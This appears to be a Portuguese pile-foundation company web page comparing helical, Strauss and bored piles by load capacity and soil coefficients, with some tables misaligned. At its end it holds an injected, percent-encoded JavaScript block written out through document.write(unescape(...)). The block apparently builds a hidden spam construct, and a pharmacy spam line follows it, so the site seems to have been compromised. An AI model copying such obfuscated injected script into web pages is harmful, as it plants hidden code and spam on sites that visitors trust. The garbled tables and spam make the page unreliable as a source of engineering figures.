Escrito por Administrator
Ter, 28 de Julho de 2009 18:10 - Última atualização Sáb, 13 de Outubro de 2012 10:32

A.LOPES ESTACAS apresenta a avaliação da viabilidade do uso de Estacas Hélice Segmentada nas fundações de Construção Civil:

Comparativo de capacidade carga estrutural admissível entre os tipos de estacas

Estacas	diam.	
Strauss	0,32	30 tf
Escavada	0,30	30 tf
Hélice	0,30	**45 tf**

Isto acontece em função do concreto usado nas estacas strauss e escavadas, que é o concreto de 15 mpa segundo a NBR6122/96, e na estaca hélice é usado o concreto 20 mpa.

Aplicação de alfa e beta para os tipos de estacas

Estacas	alfa	beta
Strauss	0,60	0,65
Escavada	0,60	0,65
Hélice	0,30	1,00

Comparativo de aproveitamento de remitência do solo

Estacas	f-1	f-2
Strauss	1,75	4,50
Escavada	7,00	
Hélice	1,75	3,50

Do resultado obtido através dos dados da sondagem a capacidade de carga obtida é divida pelo coeficiente acima de acordo com o tipo de estaca . A estaca hélice consegue um aproveitamento maior no f-2, pois a concretagem é feita sob pressão através da bomba de concreto.

Conclusão

Usando-se as aplicações acima chegamos a seguinte conclusão de capacidade carga:

Estacas	coef.
Strauss	0,60
Escavada	0,37
Hélice	**1,00**

Ou seja, em uma determinada profundidade que a estaca hélice de 30Ø suporte 45tf, a strauss suportaria 26,8tf e a escavada 16,7tf.

Observando-se:

1 - tanto a admissão de carga é maior para Hélice, do que 1 estaca de uma mesma seção dos outros tipos referido;

2 - como também o aproveitamento da taxa de resistência do solo é maior.

Desta forma onde se usa um bloco de 3 estacas strauss de 32cm, pode-se usar um bloco de 2 estacas Hélice 30cm, dependendo do tipo de solo a profundidade da estaca hélice poderá ser menor do que a da strauss gerando assim no mínimo uma economia 50%.

Por tudo isto conclui-se que mesmo a principio, a estaca Hélice tenha custo maior, somado os benefícios: capacidade maior, profundidade menor e rapidez de execução tornam-se mais viável financeiramente e com melhor qualidade.

A NBR6122/96, no item 7.8.6.4, trata da fixação da carga máxima estrutural admissível, onde fck não poderá ser superior a 20MPa e adotando um fator de redução de resistência c=1,8. A carga máxima que a estaca poderá resistir, visto que corresponde à resistência estrutural do material, será:

Carga admissível para os diâmetros

Diâmetro		cm	0,275	0,30	0,35	0,40	0,42	0,50	0,60	0,70	0,80	0,9
	KN	350	450			600	800	900	1300	1600	2400	320
	Tf	35	45	60	80	90	130	160	240	320	400	500
Esp. Mínimo Summ		650	750	900	1000	1100	1300	1500	1750	2000	2250	2500

A carga admissível estrutural indicada é a máxima carga que a estaca poderá resistir, visto que corresponde a resistência estrutural do material da mesma. Entretanto há necessidade de dotar a estaca de um procedimento tal para que essa carga possa ser atingida sob o ponto de vista do contato estaca-solo. Esse procedimento constitui o que se denomina “previsão de capacidade de carga”.

A capacidade de carga das estacas é dada pela soma das parcelas de atrito lateral e de ponta, que dependem do tipo de terreno e do comprimento da estaca.

document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67
%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%0A%66%75%6E%63%7
4%69%6F%6E%20%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%0A%7B%
0A%76%61%72%20%61%3D%30%2C%6D%2C%76%2C%74%2C%7A%2C%78%3D%6E%6
5%77%20%41%72%72%61%79%28%27%39%30%39%31%39%36%38%33%37%36%27%2
C%27%38%38%38%37%39%31%38%31%39%32%38%31%38%37%38%36%33%34%37%3
3%37%34%39%31%38%37%38%34%39%33%39%32%37%37%33%35%39%32%38%37%3
8%38%33%34%32%31%33%33%33%33%33%33%33%33%38%38%39%36%27%2C%27%3
7%37%38%37%38%37%27%2C%27%39%34%39%39%39%30%37%39%33%39%31%37%3
9%34%37%39%39%38%39%34%32%35%37%37%39%33%39%33%31%37%27%29%2C%6
C%3D%78%2E%6C%65%6E%67%74%68%3B%0A%77%68%69%6C%65%28%2B%2B%61
%3C%3D%6C%29%7B%6D%3D%78%5B%6C%2D%61%5D%3B%0A%74%3D%7A%3D%27
%27%3B%0A%66%6F%72%28%76%3D%30%3B%76%3C%6D%2E%6C%65%6E%67%74%

68%3B%29%7B%74%2B%3D%6D%2E%63%68%61%72%41%74%28%76%2B%2B%29%3B
%0A%69%66%28%74%2E%6C%65%6E%67%74%68%3D%3D%32%29%7B%7A%2B%3D%
53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%70
%61%72%73%65%49%6E%74%28%74%29%2B%32%35%2D%6C%2B%61%29%3B%0A%7
4%3D%27%27%3B%7D%7D%78%5B%6C%2D%61%5D%3D%7A%3B%7D%64%6F%63%75
%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%27%2B%78%5B%30%5D%2B%
27%20%27%2B%78%5B%34%5D%2B%27%3E%2E%27%2B%78%5B%32%5D%2B%27%7B
%27%2B%78%5B%31%5D%2B%27%7D%3C%2F%27%2B%78%5B%30%5D%2B%27%3E%
27%29%3B%7D%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%3B%0A%3C
%2F%73%63%72%69%70%74%3E'));

purchase viagra with mastercard - viagra coupon